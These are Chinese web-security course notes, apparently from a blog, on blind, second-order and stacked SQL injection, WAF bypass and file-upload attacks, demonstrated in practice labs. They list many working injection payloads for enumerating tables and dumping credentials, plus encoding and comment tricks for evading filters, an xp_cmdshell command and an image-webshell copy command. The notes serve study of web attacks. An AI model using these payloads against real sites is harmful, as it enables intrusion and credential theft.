后台管理里面删除文章删除用户等操作
例: delete from news where id=$id

update更新数据
会员或后台中心数据同步或缓存等操作
例: update user set pwd=‘$p’ where id=2 and username=’ admin’

order by排序数据
一般结合表名或列名进行数据排序操作
例: select * from news order by $id
例: select id , name , price from news order by $order

SQL语句盲注

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:

1、基于布尔的sQL盲注-逻辑判断 regexp, like , ascii,left, ord , mid
2、基于时间的sQL盲注-延时判断 if ,sleep
3、基于报错的sQL盲注-报错回显 floor, updatexml, extractvalue 
  • 1
  • 2
  • 3

参考地址:https://www.jianshu.com/p/bc35f8dd4f7c https://developer.aliyun.com/article/692723

首先了解下updatexml()函数1
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值

例如注入语句

updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

其中0x7e为’~’

报错

ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'

SQL时间盲注

1.sleep语句

mysql> select * from member where id=1 and sleep(5);

Empty set (5.00 sec)

会延迟5秒再显示

2.if语句
mysql> select if(database()='pikachu',123,456);
+----------------------------------+
| if(database()='pikachu',123,456) |
+----------------------------------+
|                              123 |
+----------------------------------+
1 row in set (0.00 sec)

mysql> select if(database()='test',123,456);
+-------------------------------+
| if(database()='test',123,456) |
+-------------------------------+
|                           456 |
+-------------------------------+
1 row in set (0.00 sec)

mysql>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

if(database()='xxx',123,456);

如果xxx与对应的数据库一样那么则会显示123,反之则显示456

3.if+sleep语句
mysql> select * from member where id=1 and sleep(if(database()='pikachu',5,0));
Empty set (5.00 sec)

mysql>
  • 1
  • 2
  • 3
  • 4

语句的意思就是如果数据是pikachu就延迟5秒输出,不是的话就立即返回,但是在实际渗透过程中由于受到网络的影响时间注入不是很靠谱,

通过这种语句,就可以对目标数据进行猜解,先猜长度,再一个一个猜字母,可以使用bp进行爆破

参考:
like 'ros'									#判断ro或ro...是否成立
regexp '^xiaodi [a-z]'			#匹配xiaodi及xiaodi...等if(条件,5,0)
sleep (5)										#sQL语句延时执行s秒
mid (a, b, c)								#从位置b开始,截取a字符串的c位
substr( a,b, c)							#从b位置开始,截取字符串a的c长度
left (database(),1), database() #left(a,b)从左侧截取a的前b位
length(database ())=8				#判断数据库database ()名的长度
ord=ascii ascii(x)=97 			#判断x的ascii码是否等于97
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
4.if+mid+sleep
mysql> select database();
+------------+
| database() |
+------------+
| pikachu    |
+------------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 and sleep(if(mid(database(),1,1)='p',5,0));
Empty set (5.00 sec)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

布尔盲注

布尔(Boolean)型是计算机里的一种数据类型,只有True(真)和False(假)两个值。一般也称为逻辑型。
页面在执行sql语句后,只显示两种结果,这时可通过构造逻辑表达式的sql语句来判断数据的具体内容。

布尔注入用到的函数:

mid(str,start,length)  :字符串截取
ORD()                  :转换成ascii码
Length()               :统计长度
version()              :查看数据库版本
database()             :查看当前数据库名
user()                 :查看当前用户
123456
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

布尔注入流程:

猜解获取数据库长度

' or length(database()) > 8 --+    :符合条件返回正确,反之返回错误
1
  • 1
  • 2

猜解数据库名

'or mid(database(),1,1)= 'z' --+    :因为需要验证的字符太多,所以转化为ascii码验证
'or ORD(mid(database(),1,1)) > 100 --+ :通过确定ascii码,从而确定数据库名
12
  • 1
  • 2
  • 3

猜解第一个表名

'or mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit      0,1 ),1,1) = 'a'  --+
或者
'Or ORD(mid(select TABLE_NAME from information_schema.TABLES where 
TABLE_SCHEMA = database() limit 0,1),1,1)) >100   --+
1234
  • 1
  • 2
  • 3
  • 4
  • 5

猜解表的字段的总数

'or (select count(column_name) from information_schema.COLUMNS where TABLE_NAME='表名') > 5 --+
1
  • 1
  • 2

猜解第一个字段的长度

'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 0,1) = 10 --+
'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 10 --+ (第二个字段)
12
  • 1
  • 2
  • 3

猜解第一个字段名

'or mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1) = 'i' --+
或者
'or ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1)) > 100 --+
123
  • 1
  • 2
  • 3
  • 4

猜解直接猜测字段名

' or (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 'username' --+
1
  • 1
  • 2

猜解内容长度

假如已经知道字段名为  id   username password
'or (select Length(concat(username,"---",password)) from admin limit 0,1) = 16  --+
12
  • 1
  • 2
  • 3

猜解内容

'or mid((select concat(username,"-----",password) from admin limit 0,1),1,1) = 'a' --+
或者
'or ORD(mid((select concat(username,"-----",password) from admin limit 0,1),1,1)) > 100 --+    ASCII码猜解
123
  • 1
  • 2
  • 3
  • 4

也可以直接猜测内容

'or (Select concat(username,"-----",password) from admin limit 0,1 ) = 'admin-----123456'   --+
1
  • 1
  • 2

第十七天二次、加解密、dns等注入

加解密注入

SQL加解密注入,是特指一种特殊的注入形式,即注入点并没有直接把输入的信息传输到后台,而是通过进行base64编码等形式处理后,再传输到后台。

如cookie加密,

GET /Less-21/index.php HTTP/1.1
Host: 10.1.1.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://10.1.1.133/Less-21/index.php
Connection: close
Cookie: uname=YWRtaW4%3D
Upgrade-Insecure-Requests: 1
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

其中Cookie: uname=YWRtaW4%3D的uname值就是base64加密,%3D就是url编码的=号

要进行注入就需要对注入语句进行base64加密

也就是说admin' and 1=1加密之后的值是YWRtaW4nIGFuZCAxPTE=

获取数据库名称admin' or updatexml(1,concat(0x7e,(database())),0) or '加密后cookie值Cookie: uname=YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChkYXRhYmFzZSgpKSksMCkgb3IgJwo=

通过这样就可以进行注入

二次注入

二次注入一般是用于白盒测试、黑盒测试就算是找到注入也没办法攻击。

image.png

sqlilabs-less24-post登陆框&二次注入

image.png

数据库中查询

mysql> select * from users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
| 15 | admin'#  | admin      |
+----+----------+------------+
14 rows in set (0.00 sec)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20

登录用户修改密码

image.png

mysql> select * from users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | 123456     |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
| 15 | admin'#  | admin      |
+----+----------+------------+
14 rows in set (0.00 sec)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20

最后我们看到的是将admin的账户密码修改为了123456而admin’#并没有发生改变,原因是代码执行的过程中将’#没有过滤直接带入执行导致’与前面的代码闭合而#将后面的代码给注释。

出现限制长度的情况分为两种一种是后端限制,一种是前端限制,后端限制没有办法更改,但是前端限制可以在前端页面进行更改

DNSlog注入

涉及资源:http://ceye.io

参考资料:https://www.cnblogs.com/xhds/p/12322839.html

第十八天堆叠及WAF绕过注入

1.堆叠查询注入

stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql 中,主要是命令行中,每一条语句结尾加;表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。

堆叠注入不一定可以适用于所有情况,可能受API或者数据库引擎不支持的限制,当然权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

主要是mysqli_multi_query这个函数允许执行多条sql语句,如果源码的语句是Mysqli_query,这个堆叠注入就无效

当管理员密码无法获取时,可以使用堆叠注入进行用户的创建然后进入后台

堆叠注入的可以运用于创建用户由于我们使用网站用户进行注入不能查看到数据库的密码但是我们可以创建用户来登录迂回的注入数据库,但是前提是网站的管理员必须是高权限才能完全创建用户。也可以使用update更新管理员用户密码

第十九天WAF绕过

WAF绕过-SQL注入.png

安全狗等产品并没有把所有防护打开,打开固然防护等级高,但是有的业务访问也会被限制,误报

HTTP参数污染https://blog.csdn.net/qq_19446965/article/details/118584252

image-20220804164027952

在SQL中/**//** */起注释作用

FUZZ测试

漏洞挖掘有三种方法:白盒代码审计、灰盒逆向工程、黑盒测试。其中黑盒的Fuzz测试是效率最高的一种,能够快速验证大量潜在的安全威胁。

Fuzz测试,也叫做“模糊测试”,是一种挖掘软件安全漏洞、检测软件健壮性的黑盒测试,它通过向软件输入非法的字段,观测被测试软件是否异常而实现。Fuzz测试的概念非常容易理解,如果我们构造非法的报文并且通过测试工具打入被测设备,那么这就是一个Fuzz测试的测试例执行,大多数测试工程师肯定都尝试过这种测试手段。

对于网络协议漏洞挖掘来说,Fuzz测试也就意味着打入各种异常报文,然后观察设备是否有异常。

0x1 WAF的常见特征

之所以要谈到WAF的常见特征,是为了更好的了解WAF的运行机制,这样就能增加几分绕过的机会了。本文不对WAF做详细介绍,只谈及几点相关的。

总体来说,WAF(Web Application Firewall)的具有以下四个方面的功能:

  1. 审计设备:用来截获所有HTTP数据或者仅仅满足某些规则的会话
  2. 访问控制设备:用来控制对Web应用的访问,既包括主动安全模式也包括被动安全模式
  3. 架构/网络设计工具:当运行在反向代理模式,他们被用来分配职能,集中控制,虚拟基础结构等。
  4. WEB应用加固工具:这些功能增强被保护Web应用的安全性,它不仅能够屏蔽WEB应用固有弱点,而且能够保护WEB应用编程错误导致的安全隐患。

WAF的常见特点:

  • 异常检测协议:拒绝不符合HTTP标准的请求
  • 增强的输入验证:代理和服务端的验证,而不只是限于客户端验证
  • 白名单&黑名单:白名单适用于稳定的We应用,黑名单适合处理已知问题
  • 基于规则和基于异常的保护:基于规则更多的依赖黑名单机制,基于异常更为灵活
  • 状态管理:重点进行会话保护
  • 另还有:Coikies保护、抗入侵规避技术、响应监视和信息泄露保护等

如果是对于扫描器,WAF有其识别之道:

扫描器识别主要由以下几点:

  1. 扫描器指纹(head字段/请求参数值),以wvs为例,会有很明显的Acunetix在内的标识
  2. 单IP+ cookie某时间段内触发规则次数
  3. 隐藏的链接标签等()
  4. Cookie植入
  5. 验证码验证,扫描器无法自动填充验证码
  6. 单IP请求时间段内Webserver返回http状态404比例, 扫描器探测敏感目录基于字典,找不到文件则返回404
0x2 绕过WAF的方法

从目前能找到的资料来看,我把这些绕过waf的技术分为9类,包含从初级到高级技巧

a) 大小写混合

b)替换关键字

c)使用编码

d)使用注释

e)等价函数与命令

f)特殊符号

g)HTTP参数控制

h)缓冲区溢出

i)整合绕过

a) 大小写绕过

大小写绕过用于只针对小写或大写的关键字匹配技术,正则表达式/express/i 大小写不敏感即无法绕过,这是最简单的绕过技术

举例:z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4

示例场景可能的情况为filter的规则里有对大小写转换的处理,但不是每个关键字或每种情况都有处理

b)替换关键字

这种情况下大小写转化无法绕过,而且正则表达式会替换或删除select、union这些关键字,如果只匹配一次就很容易绕过

举例:z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4

同样是很基础的技术,有些时候甚至构造得更复杂:SeLSeselectleCTecT,不建议对此抱太大期望

c)使用编码

  1. URL编码

    在Chrome中输入一个连接,非保留字的字符浏览器会对其URL编码,如空格变为%20、单引号%27、左括号%28、右括号%29

    普通的URL编码可能无法实现绕过,还存在一种情况URL编码只进行了一次过滤,可以用两次编码绕过:page.php?id=1%252f%252a*/UNION%252f%252a /SELECT

  2. 十六进制编码

    举例:z.com/index.php?page_id=-15 /!u%6eion/ /!se%6cect/ 1,2,3,4…

    SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

    示例代码中,前者是对单个字符十六进制编码,后者则是对整个字符串编码,使用上来说较少见一点

  3. Unicode编码

    Unicode有所谓的标准编码和非标准编码,假设我们用的utf-8为标准编码,那么西欧语系所使用的就是非标准编码了

    看一下常用的几个符号的一些Unicode编码:

    单引号:  %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
    
    空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
    
    左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
    
    右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    举例:?id=10%D6‘%20AND%201=2%23

    SELECT ‘Ä’=‘A’; #1

    两个示例中,前者利用双字节绕过,比如对单引号转义操作变成’,那么就变成了%D6%5C’,%D6%5C构成了一个款字节即Unicode字节,单引号可以正常使用

    第二个示例使用的是两种不同编码的字符的比较,它们比较的结果可能是True或者False,关键在于Unicode编码种类繁多,基于黑名单的过滤器无法处理所以情况,从而实现绕过

    另外平时听得多一点的可能是utf-7的绕过,还有utf-16、utf-32的绕过,后者从成功的实现对google的绕过,有兴趣的朋友可以去了解下

    常见的编码当然还有二进制、八进制,它们不一定都派得上用场,但后面会提到使用二进制的例子

d) 使用注释

看一下常见的用于注释的符号有哪些:*//, – , //, #, --+,-- -, ;,–a

1.普通注释

举例:z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4

'union%a0select pass from users#

/**/在构造得查询语句中插入注释,规避对空格的依赖或关键字识别;#、–+用于终结语句的查询

2.内联注释

相比普通注释,内联注释用的更多,它有一个特性/!**/只有MySQL能识别

举例:index.php?page_id=-15 /!UNION/ /!SELECT/ 1,2,3

?page_id=null%0A///!50000%55nIOn**//yoyu/all/**/%0A/!%53eLEct/%0A/nnaa/+1,2,3,4…

两个示例中前者使用内联注释,后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分,要做到这一点后面讨论的特殊符号也能实现,当然前提是包括/、*在内的这些字符能正常使用

e)等价函数与命令

有些函数或命令因其关键字被检测出来而无法使用,但是在很多情况下可以使用与之等价或类似的代码替代其使用

1.函数或变量

hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

或者:substr((select ‘password’),1,1) = 0x70

strcmp(left(‘password’,1), 0x69) = 1

strcmp(left(‘password’,1), 0x70) = 0

strcmp(left(‘password’,1), 0x71) = -1

上述这几个示例用于说明有时候当某个函数不能使用时,还可以找到其他的函数替代其实现,置于select、uinon、where等关键字被限制如何处理将在后面filter部分讨论

2.符号

and和or有可能不能使用,或者可以试下&&和||能不能用;还有=不能使用的情况,可以考虑尝试<、>,因为如果不小于又不大于,那边是等于了

在看一下用得多的空格,可以使用如下符号表示其作用:%20 %09 %0a %0b %0c %0d %a0 /**/

3.生僻函数

MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘ ’,’/script/@x/’,’src=//evil.com’);

?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))

SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql

?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

MySQL、PostgreSQL、Oracle它们都有许多自己的函数,基于黑名单的filter要想涵盖这么多东西从实际上来说不太可能,而且代价太大,看来黑名单技术到一定程度便遇到了限制

f) 特殊符号

这里我把非字母数字的字符都规在了特殊符号一类,特殊符号有特殊的含义和用法,涉及信息量比前面提到的几种都要多

先看下乌云drops上“waf的绕过技巧”一文使用的几个例子:

1.使用反引号,例如selectversion()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用

2.神奇的"-+.",select+id-1+1.from users; “+”是用于字符串连接的,”-”和”.”在此也用于连接,可以逃过空格和关键字过滤

3.@符号,select@^1.from users; @用于变量定义如**@**var_name,一个@表示用户定义,@@表示系统变量

4.Mysql function() as xxx 也可不用as和空格   select-count(id)test from users; //绕过空格限制

可见,使用这些字符的确是能做很多事,也证实了那句老话,只有想不到,没有做不到

本人搜罗了部分可能发挥大作用的字符(未包括’、*、/等在内,考虑到前面已经出现较多次了):`、~、!、@、%、()、[]、.、-、+ 、|、%00

举例:

关键字拆分:‘se’+’lec’+’t’

%S%E%L%E%C%T 1

1.aspx?id=1;EXEC(‘ma’+'ster…x’+'p_cm’+'dsh’+'ell ”net user”’)

!和():’ or --+2=- -!!!'2

id=1+(UnI)(oN)+(SeL)(EcT) //另 Access中,”[]”用于表和列,”()”用于数值也可以做分隔

本节最后在给出一些和这些字符多少有点关系的操作符供参考:

>>, <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN

使用这些"特殊符号"实现绕过是一件很细微的事情,一方面各家数据库对有效符号的处理是不一样的,另一方面你得充分了解这些符号的特性和使用方法才能作为绕过手段

g) HTTP参数控制

这里HTTP参数控制除了对查询语句的参数进行篡改,还包括HTTP方法、HTTP头的控制

1.HPP(HTTP Parameter Polution)

举例:/?id=1;select+1,2,3+from+users+where+id=1—

/?id=1;select+1&id=2,3+from+users+where+id=1—

/?id=1/**/union/&id=/select/&id=/pwd/&id=/from/&id=/users

HPP又称做重复参数污染,最简单的就是?uid=1&uid=2&uid=3,对于这种情况,不同的Web服务器处理方式如下:

img

具体WAF如何处理,要看其设置的规则,不过就示例中最后一个来看有较大可能绕过

2.HPF(HTTP Parameter Fragment)

这种方法是HTTP分割注入,同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)

举例:

/?a=1+union/&b=/select+1,pass/&c=/from+users–

select from table where a=1 union/ and b=/select 1,pass/ limit */from users—

看罢上面两个示例,发现和HPP最后一个示例很像,不同之处在于参数不一样,这里是在不同的参数之间进行分割,到了数据库执行查询时再合并语句。

3.HPC(HTTP Parameter Contamination)

这一概念见于exploit-db上的paper:Beyond SQLi: Obfuscate and Bypass,Contamination同样意为污染

RFC2396定义了如下一些字符:

Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ’ ()
Reserved : ; / ? : @ & = + $ ,
Unwise : { } | \ ^ [ ] `

不同的Web服务器处理处理构造得特殊请求时有不同的逻辑:

img

以魔术字符%为例,Asp/Asp.net会受到影响

img

h) 缓冲区溢出(Advanced)

缓冲区溢出用于对付WAF,有不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度,就会引发bug从而实现绕过

举例:

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

示例0xA*1000指0xA后面”A"重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考,在某些情况下可能不需要这么长也能溢出

i) 整合绕过

整合的意思是结合使用前面谈到的各种绕过技术,单一的技术可能无法绕过过滤机制,但是多种技术的配合使用成功的可能性就会增加不少了。这一方面来说是总体与局部和的关系,另一方面则是多种技术的使用创造了更多的可能性,除非每一种技术单独都无法使用,否则它们能产生比自身大得多的能量。

举例

z.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…

id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()-

?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--  
  • 1
  • 2
  • 3
  • 4
  • 5
0x3 SQLi Filter的实现及Evasion

SQL Injection时用得最多的一些关键字如下:and, or, union, where, limit, group by, select, ', hex, substr, white space

对它们的检测,完整正则表达式为:preg_match(‘/(and|or|union|where|limit|group by|select|’|hex|substr|\s)/i’, $id)

其应对方式依次为:

***note***:"=>"左边表示会被Filtered的语句,"=>"右边表示成功Bypass的语句,左边标红的为被Filtered的关键字,右边标蓝的为替代其功能的函数或关键字

and => &&   or => ||

union select user, password from users   =>  1 || (select user from users where user_id = 1) = 'admin

1 || (select user from users where user_id = 1) = 'admin'  =>  1 || (select user from users limit 1) = 'admin

1 || (select user from users limit 1) = 'admin' =>  1 || (select user from users group by user_id having user_id = 1) = 'admin'
1 || (select user from users group by user_id having user_id = 1) = 'admin' => 1 || (select substr(group_concat(user_id),1,1) user from users )=1
1 || (select substr(group_concat(user_id),1,1) user from users) = 1 =>	1 || 1 = 1 into outfile 'result.txt' 或者  1 || substr(user,1,1) = 'a' 
1 || (select substr(group_concat(user_id),1,1) user from users) = 1  =>  1 || user_id is not null 或者 1 || substr(user,1,1) = 0x61
   或者 1 || substr(user,1,1) = unhex(61)  // ' Filtered
1 || substr(user,1,1) = unhex(61)  =>	1 || substr(user,1,1) = lower(conv(11,10,36))
1 || substr(user,1,1) = lower(conv(11,10,36)) =>  1 || lpad(user,7,1)
1 || lpad(user,7,1)  =>  1%0b||%0blpad(user,7,1)  // ' ' Filtered
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

img

img

上面两张图,第一张是不能使用数字时通过使用数学函数得到某个数字的值,第二章则是这些数字对应的36进制的值,因此有时候一个很简单的表达式可能会很复杂或者非常长,其实际就是计算mod(a,b):

在遇到WAF防护的情况下,可以使用延时注入,以及随机修改UA和代理池随机代理

第二十天文件上传基础及过滤方式

web漏洞文件上传.png

文件上传利用思路.png

第二十一天文件上传后端黑白名单绕过

文件上传常见验证:
后缀名,类型,文件头等
后缀名:黑名单,白名单
文件类型:MIME
信息文件头:内容头信息

简要上传表单代码分析解释
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

PHP函数

trim() 函数移除字符串两侧的空白字符或其他预定义字符。

str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。

substr() 函数返回字符串的一部分。

strrpos() 函数查找字符串在另一字符串中最后一次出现的位置。
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

upload-labs通关

https://blog.csdn.net/elephantxiang/article/details/120660685?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-2-120660685-blog-117152028.pc_relevant_multi_platform_whitelistv1&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-2-120660685-blog-117152028.pc_relevant_multi_platform_whitelistv1&utm_relevant_index=5

第二十二天文件上传内容逻辑数组绕过

copy 1.png /b + shell.php /a webshell.jpg

文件头检测
图像文件信息判断
逻辑安全=二次渲染
逻辑安全-条件竞争目录命名-x.php/.
脚本函数漏洞-CVE-2015-2348
数组接受+目录命名
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

copy 1.png /b + shell.php /a webshell.jpg意思是将shell.php中的代码追加到1.png中并重新生成一个叫webshell.php的代码。

文件包含漏洞:即file inclusion,意思是文件包含,是指当服务器开启allow_url_include选项时,就可以通过PHP的某些特性函数(include(),require()和include_once(),requir_once())利用URL去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了PHP配置中的allow_url_fopen选项,选项开启之后,服务器允许包含一个远程文件,服务器通过PHP特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。

文件包含漏洞属于代码注入漏洞,为了减少重复代码的编写,引入了文件包含函数,通过文件包含函数将文件包含进来,直接使用包含文件的代码;简单来说就是一个文件里面包含另外一个或多个文件。

  • 文件包含即程序通过包含函数调用本地或远程文件,以此来实现拓展功能
  • 被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞。
  • 文件包含漏洞主要发生在有包含语句的环境中,例如PHP所具备include、require等函数。

1197910-20210105192205385-1287793433.png

第二十三天文件上传解析漏洞编辑器安全

各个平台解析漏洞讲解IIS,Apache , Nginx

各个wEB编辑器安全讲解
https://navisec.it/编辑器漏洞手册/

各个cMS文件上传简要讲解
wordpress, phpcms
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

image-20220811154147506

常见编辑器

fckeditor		exp
ueditor 		漏洞利用
  • 1
  • 2
扩展
1.POC(Proof ofConcept),中文意思是“观点证明”。这个短语会在漏洞报告中使用,漏洞报告中的POC
则是一段说明或者一个攻击的样例,使得读者能够确认这个漏洞是真实存在的。

2.EXP(Exploit),中文意思是“漏洞利用”。意思是一段对漏洞如何利用的详细说明或者一个演示的漏洞攻
击代码,可以使得读者完全了解漏洞的机理以及利用的方法。

3.VUL(Vulnerability),泛指漏洞。

4.CVE漏洞编号,CVE 的英文全称是“Common Vulnerabilities & Exposures”公共漏洞和暴露,例如
CVE-2015-0057、CVE-1999-0001等等。CVE就好像是一个字典表,为广泛认同的信息安全漏洞或者已经
暴露出来的弱点给出一个公共的名称。如果在一个漏洞报告中指明的一个漏洞,如果有CVE名称,你就可以
快速地在任何其它CVE兼容的数据库中找到相应修补的信息,解决安全问题。
可以在https://cve.mitre.org/网站根据漏洞的CVE编号搜索该漏洞的介绍。
也可以在中文社区http://www.scap.org.cn/上搜索关于漏洞的介绍

5.0DAY漏洞和0DAY攻击
在计算机领域中,零日漏洞或零时差漏洞(英语:Zero-dayexploit)通常是指还没有补丁的安全漏洞,
而零日攻击或零时差攻击(英语:Zero-dayattack)则是指利用这种漏洞进行的攻击。提供该漏洞细节或
者利用程序的人通常是该漏洞的发现者。零日漏洞的利用程序对网络安全具有巨大威胁,因此零日漏洞不但
是黑客的最爱,掌握多少零日漏洞也成为评价黑客技术水平的一个重要参数。
零日漏洞及其利用代码不仅对犯罪黑客而言,具有极高的利用价值,一些国家间谍和网军部队,例如美国国
家安全局和美国网战司令部也非常重视这些信息[1]。据路透社报告称美国政府是零日漏洞黑市的最大买
家。
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24

拿到一个网站从文件上传或者解析漏洞角度去看

先看中间件的版本,再查看其漏洞

  • IIS6.x/7
  • Nginx
  • Apache

网站字典扫描(upload.php等),会员中心等存在上传,查看是黑名单还是白名单

查看编辑器类型,网上查到漏洞利用,或者其他最近最新的CVE

第二十四天文件上传之WAF绕过及安全修复

过WAFhttps://blog.csdn.net/qq_50854790/article/details/123691985

上传参数名解析:明确有哪些东西能修改?

Content-Disposition:	一般可更改

name:	表单参数值,不能更改

filename :文件名,可以更改

Content-Type:文件MIME,视情况更改
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

常见的绕过方法

数据溢出-防匹配(xxx… .)

  • name和filename中插入大量垃圾数据
  • boundary字符串中加入垃圾数据
  • boundray末尾插入垃圾数据
  • multipart/form-data与boundary之间插入垃圾数据

符号变异-防匹配('"

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Cpp五条/article/detail/585386
推荐阅读
相关标签